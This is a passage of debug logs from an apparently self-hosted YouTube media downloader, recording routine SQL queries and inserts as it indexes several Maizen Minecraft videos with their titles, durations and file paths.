idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [469491] 18:35:03.924 [debug] Current batch of media processed. Will check again in 1000ms 18:35:04.925 [debug] Current batch of media processed. Will check again in 1000ms 18:35:05.926 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4713, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", "id" => "DmxYE_YOLQ8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "playlist_index" => 4, "timestamp" => 1784777301, "title" => "JJ vs. Mikey", "upload_date" => "20260723"} 18:35:05.927 [debug] QUERY OK source="sources" db=0.2ms idle=238.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:05.927 [debug] QUERY OK source="sources" db=0.1ms idle=238.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:05.928 [debug] QUERY OK source="media_items" db=1.3ms idle=239.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 18:35:05.929 [debug] QUERY OK source="media_items" db=0.6ms idle=240.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "06660063-0d5e-44f5-afba-9c9d68f678bf", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 01:35:05Z], ~U[2026-08-20 01:35:05Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 18:35:05.930 [debug] QUERY OK source="sources" db=0.1ms idle=35.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:05.930 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:05.930 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [366904] 18:35:05.931 [debug] Current batch of media processed. Will check again in 1000ms 18:35:06.931 [debug] Current batch of media processed. Will check again in 1000ms 18:35:07.932 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 3658, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", "id" => "jXiB2M0bZX8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=jXiB2M0bZX8", "playlist_index" => 5, "timestamp" => 1783668694, "title" => "PRISON ESCAPE in Minecraft", "upload_date" => "20260710"} 18:35:07.933 [debug] QUERY OK source="sources" db=0.3ms idle=244.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:07.933 [debug] QUERY OK source="sources" db=0.2ms idle=244.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:07.935 [debug] QUERY OK source="media_items" db=1.6ms idle=245.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 18:35:07.940 [debug] QUERY OK source="media_items" db=4.8ms idle=247.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "1da7a556-e6d7-49e8-964d-3f1780bb27b4", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 01:35:07Z], ~U[2026-08-20 01:35:07Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 18:35:07.940 [debug] QUERY OK source="sources" db=0.2ms idle=42.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:07.941 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:07.941 [debug] QUERY OK source="media_items" db=0.2ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [310552] 18:35:07.941 [debug] Current batch of media processed. Will check again in 1000ms 18:35:08.942 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 4704, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", "id" => "2nxBCespd7c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=2nxBCespd7c", "playlist_index" => 6, "timestamp" => 1782529206, "title" => "JJ IS DEAD : The Movie", "upload_date" => "20260627"} 18:35:08.943 [debug] QUERY OK source="sources" db=0.2ms idle=1002.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:08.943 [debug] QUERY OK source="sources" db=0.1ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:08.945 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 18:35:08.946 [debug] QUERY OK source="media_items" db=0.7ms idle=1003.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "bee186b4-3fea-4d69-838c-44c34fefe663", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 01:35:08Z], ~U[2026-08-20 01:35:08Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 18:35:08.946 [debug] QUERY OK source="sources" db=0.1ms idle=47.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:08.946 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:08.947 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [231209] 18:35:08.947 [debug] Current batch of media processed. Will check again in 1000ms 18:35:09.948 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5211, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", "id" => "a8EKAWT99Ys", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=a8EKAWT99Ys", "playlist_index" => 7, "timestamp" => 1781924406, "title" => "MIKEY IS DEAD : The Movie", "upload_date" => "20260620"} 18:35:09.949 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:09.949 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:09.951 [debug] QUERY OK source="media_items" db=1.4ms idle=1002.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 18:35:09.952 [debug] QUERY OK source="media_items" db=0.7ms idle=1003.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "f4c457dd-892f-4739-b8fa-010148a6288a", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 01:35:09Z], ~U[2026-08-20 01:35:09Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-20 03:00:06Z]] 18:35:09.952 [debug] QUERY OK source="sources" db=0.2ms idle=52.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:09.953 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:09.953 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [213214] 18:35:09.953 [debug] Current batch of media processed. Will check again in 1000ms 18:35:10.954 [debug] Current batch of media processed. Will check again in 1000ms 18:35:11.955 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey are preparing to take the Pro Doctor Exam! There's just one problem, the entry fee is one-million gold!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 5542, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e061300 - THE WORLD's STRICTEST TEST: The Movie.mp4", "id" => "3RR5Sbesx6s", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3RR5Sbesx6s", "playlist_index" => 8, "timestamp" => 1781319606, "title" => "THE WORLD's STRICTEST TEST: The Movie", "upload_date" => "20260613"} 18:35:11.956 [debug] QUERY OK source="sources" db=0.3ms idle=267.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:11.956 [debug] QUERY OK source="sources" db=0.1ms idle=267.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", 